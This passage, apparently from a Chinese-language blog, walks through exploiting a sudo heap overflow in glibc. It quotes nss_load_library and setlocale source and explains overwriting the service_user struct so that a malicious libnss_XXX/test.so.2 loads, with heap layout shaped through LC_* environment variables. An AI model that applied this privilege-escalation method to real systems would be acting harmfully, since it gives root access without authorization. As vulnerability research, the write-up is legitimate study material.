0px;margin: 0px"><span class="cm-variable">b</span> <span class="cm-variable">nss_load_library</span></span></pre>
<pre>gcc&nbsp;exp.c&nbsp;-o&nbsp;exp2&nbsp;-lm</pre>
<h2>漏洞利用</h2>
<h3>1 利用目标</h3>
<pre>p&nbsp;ni</pre>
<p><img alt="Untitled" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447656.png"/></p>
<p>可以发现service_user结构体在堆上</p>
<p><img alt="Untitled" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447657.png"/></p>
<p>堆块大小为0x40</p>
<p>nss_load_library的函数调用流程和相关的数据结构机制</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">/* Load library. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">static</span> <span class="cm-variable-3">int</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-string">&#39; (service_user *ni)</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">library</span> <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>) <span class="cm-comment">// ni-&gt;library等于0进入分支</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-comment">/* This service has not yet been used. &nbsp;Fetch the service</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-comment">library for it, creating a new one if need be. &nbsp;If there</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-comment">is no service table from the file, this static variable</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-comment">holds the head of the service_library list made from the</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-comment">default configuration. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-keyword">static</span> <span class="cm-variable">name_database</span> <span class="cm-variable">default_table</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">library</span> <span class="cm-operator">=</span> <span class="cm-variable">nss_new_service</span> (<span class="cm-variable">service_table</span> <span class="cm-operator">?</span>: <span class="cm-operator">&amp;</span><span class="cm-variable">default_table</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; <span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">name</span>); <span class="cm-comment">// 新建一个ni-&gt;library，并将成员初始化</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">library</span> <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">return</span> <span class="cm-operator">-</span><span class="cm-number">1</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">library</span><span class="cm-operator">-&gt;</span><span class="cm-variable">lib_handle</span> <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>) <span class="cm-comment">// ni-&gt;library是新建的，lib_handle是0</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-comment">/* Load the shared library. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-variable-3">size_t</span> <span class="cm-variable">shlen</span> <span class="cm-operator">=</span> (<span class="cm-number">7</span> <span class="cm-operator">+</span> <span class="cm-variable">strlen</span> (<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">name</span>) <span class="cm-operator">+</span> <span class="cm-number">3</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;<span class="cm-operator">+</span> <span class="cm-variable">strlen</span> (<span class="cm-variable">__nss_shlib_revision</span>) <span class="cm-operator">+</span> <span class="cm-number">1</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-variable-3">int</span> <span class="cm-variable">saved_errno</span> <span class="cm-operator">=</span> <span class="cm-variable">errno</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-variable-3">char</span> <span class="cm-variable">shlib_name</span>[<span class="cm-variable">shlen</span>];</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-comment">/* Construct shared object name. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-variable">__stpcpy</span> (<span class="cm-variable">__stpcpy</span> (<span class="cm-variable">__stpcpy</span> (<span class="cm-variable">__stpcpy</span> (<span class="cm-variable">shlib_name</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;<span class="cm-string">&quot;libnss_&quot;</span>),</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">name</span>),</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-string">&quot;.so&quot;</span>),</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">__nss_shlib_revision</span>); <span class="cm-comment">// shlib_name经过拼接得到 libnss_+ni-&gt;name+.so+__nss_shlib_revision</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">library</span><span class="cm-operator">-&gt;</span><span class="cm-variable">lib_handle</span> <span class="cm-operator">=</span> <span class="cm-variable">__libc_dlopen</span> (<span class="cm-variable">shlib_name</span>);<span class="cm-comment">// 加载动态库</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">library</span><span class="cm-operator">-&gt;</span><span class="cm-variable">lib_handle</span> <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span>{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-comment">/* Failed to load the library. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-variable">ni</span><span class="cm-operator">-&gt;</span><span class="cm-variable">library</span><span class="cm-operator">-&gt;</span><span class="cm-variable">lib_handle</span> <span class="cm-operator">=</span> (<span class="cm-variable-3">void</span> <span class="cm-variable-3">*</span>) <span class="cm-operator">-</span><span class="cm-number">1l</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-variable">__set_errno</span> (<span class="cm-variable">saved_errno</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span>}</span></pre>
<p>通过对nss_load_library源码的分析，发现这里如果能将ni结构体的library覆盖为0，name覆盖成自己的so文件名，具体为libnss_XXX/test.so.2，其中libnss_是拼接的路径，XXX/test是name的值，.so.2是拼接上去的，拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2，我们完成修改后，在当前路径下创建对应的文件夹，将恶意文件放到其中，更名为test.so.2，就能加载执行恶意文件。</p>
<p><br/></p>
<p><span style="margin: 0px;padding: 0px"><br/></span></p>
<h3>2 堆块布局</h3>
<p>接下来，就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。</p>
<p>这就来到了第二个问题，setlocale 如何通过环境变量LC_* 进行堆布局。</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">// locale\setlocale.c</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-comment">/* Load the new data for each category. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-keyword">while</span> (<span class="cm-variable">category</span><span class="cm-operator">--</span> <span class="cm-operator">&gt;</span> <span class="cm-number">0</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">if</span> (<span class="cm-variable">category</span> <span class="cm-operator">!=</span> <span class="cm-variable">LC_ALL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">newdata</span>[<span class="cm-variable">category</span>] <span class="cm-operator">=</span> <span class="cm-variable">_nl_find_locale</span> (<span class="cm-variable">locale_path</span>, <span class="cm-variable">locale_path_len</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-variable">category</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-operator">&amp;</span><span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>]);<span class="cm-comment">//通过_nl_find_locale函数去获取环境变量的值，存放在newdata[category]中</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">newdata</span>[<span class="cm-variable">category</span>] <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#ifdef NL_CURRENT_INDIRECT</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">if</span> (<span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>] <span class="cm-operator">==</span> <span class="cm-variable">_nl_C_name</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-comment">/* Null because it&#39;s the weak value of _nl_C_LC_FOO. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;<span class="cm-keyword">continue</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#endif</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">break</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;}</span></pre>
<p>首先是通过_nl_find_locale函数去获取环境变量的值，存放在newdata[category]中</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">// locale\findlocale.c</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">struct</span> <span class="cm-def">__locale_data</span> <span class="cm-operator">*</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-def">_nl_find_locale</span> (<span class="cm-keyword">const</span> <span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span><span class="cm-variable">locale_path</span>, <span class="cm-variable-3">size_t</span> <span class="cm-variable">locale_path_len</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-variable-3">int</span> <span class="cm-variable">category</span>, <span class="cm-keyword">const</span> <span class="cm-variable-3">char</span> <span class="cm-variable-3">**</span><span class="cm-variable">name</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span>......</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">/* LOCALE can consist of up to four recognized parts for the XPG syntax:</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-comment">language[_territory[.codeset]][@modifier]</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; <span class="cm-comment">Beside the first all of them are allowed to be missing. &nbsp;If the</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; <span class="cm-comment">full specified locale is not found, the less specific one are</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; <span class="cm-comment">looked for. &nbsp;The various part will be stripped off according to</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; <span class="cm-comment">the following order:</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-comment">(1) codeset</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-comment">(2) normalized codeset</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-comment">(3) territory</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-comment">(4) modifier</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; <span class="cm-comment">*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; <span class="cm-comment">//locale的命名规则为&lt;语言&gt;_&lt;地区&gt;.&lt;字符集编码&gt;，如zh_CN.UTF-8，zh代表中文，CN代表大陆地区，UTF-8表示字符集。</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; <span class="cm-comment">// C.UTF-8@AAAAAAAAA</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-variable">mask</span> <span class="cm-operator">=</span> <span class="cm-variable">_nl_explode_name</span> (<span class="cm-variable">loc_name</span>, <span class="cm-operator">&amp;</span><span class="cm-variable">language</span>, <span class="cm-operator">&amp;</span><span class="cm-variable">modifier</span>, <span class="cm-operator">&amp;</span><span class="cm-variable">territory</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; <span class="cm-operator">&amp;</span><span class="cm-variable">codeset</span>, <span class="cm-operator">&amp;</span><span class="cm-variable">normalized_codeset</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; <span class="cm-comment">// 判断四个部分那部分有缺失</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">mask</span> <span class="cm-operator">==</span> <span class="cm-operator">-</span><span class="cm-number">1</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-comment">/* Memory allocate problem. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">return</span> <span class="cm-variable">NULL</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-comment">/* If exactly this locale was already asked for we have an entry with</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; <span class="cm-comment">the complete name. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-variable">locale_file</span> <span class="cm-operator">=</span> <span class="cm-variable">_nl_make_l10nflist</span> (<span class="cm-operator">&amp;</span><span class="cm-variable">_nl_locale_file_list</span>[<span class="cm-variable">category</span>],</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">locale_path</span>, <span class="cm-variable">locale_path_len</span>, <span class="cm-variable">mask</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">language</span>, <span class="cm-variable">territory</span>, <span class="cm-variable">codeset</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">normalized_codeset</span>, <span class="cm-variable">modifier</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">_nl_category_names</span>.<span class="cm-variable">str</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-operator">+</span> <span class="cm-variable">_nl_category_name_idxs</span>[<span class="cm-variable">category</span>], <span class="cm-number">0</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">locale_file</span> <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-comment">/* Find status record for addressed locale file. &nbsp;We have to search</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-comment">through all directories in the locale path. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-variable">locale_file</span> <span class="cm-operator">=</span> <span class="cm-variable">_nl_make_l10nflist</span> (<span class="cm-operator">&amp;</span><span class="cm-variable">_nl_locale_file_list</span>[<span class="cm-variable">category</span>],</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">locale_path</span>, <span class="cm-variable">locale_path_len</span>, <span class="cm-variable">mask</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">language</span>, <span class="cm-variable">territory</span>, <span class="cm-variable">codeset</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">normalized_codeset</span>, <span class="cm-variable">modifier</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">_nl_category_names</span>.<span class="cm-variable">str</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-operator">+</span> <span class="cm-variable">_nl_category_name_idxs</span>[<span class="cm-variable">category</span>], <span class="cm-number">1</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">locale_file</span> <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-comment">/* This means we are out of core. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">return</span> <span class="cm-variable">NULL</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span></pre>
<p>结合源码和相关资料，可以知道locale的命名规则为&lt;语言&gt;_&lt;地区&gt;.&lt;字符集编码&gt;，如zh_CN.UTF-8，zh代表中文，CN代表大陆地区，UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA</p>
<p>堆申请原语和堆释放原语</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">// locale\setlocale.c</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-comment">/* Load the new data for each category. &nbsp;*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp;<span class="cm-keyword">while</span> (<span class="cm-variable">category</span><span class="cm-operator">--</span> <span class="cm-operator">&gt;</span> <span class="cm-number">0</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">if</span> (<span class="cm-variable">category</span> <span class="cm-operator">!=</span> <span class="cm-variable">LC_ALL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp;{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">newdata</span>[<span class="cm-variable">category</span>] <span class="cm-operator">=</span> <span class="cm-variable">_nl_find_locale</span> (<span class="cm-variable">locale_path</span>, <span class="cm-variable">locale_path_len</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-variable">category</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-operator">&amp;</span><span class="cm-variable">newnames</span>[<span class="cm-variable">category</span>]);<span class="cm-comment">//通过_nl_find_locale函数去获取环境变量的值，存放在newdata[category]中</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">newdata</span>[<span class="cm-variable">category</span>] <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp; &nbsp;{</span><br/><span 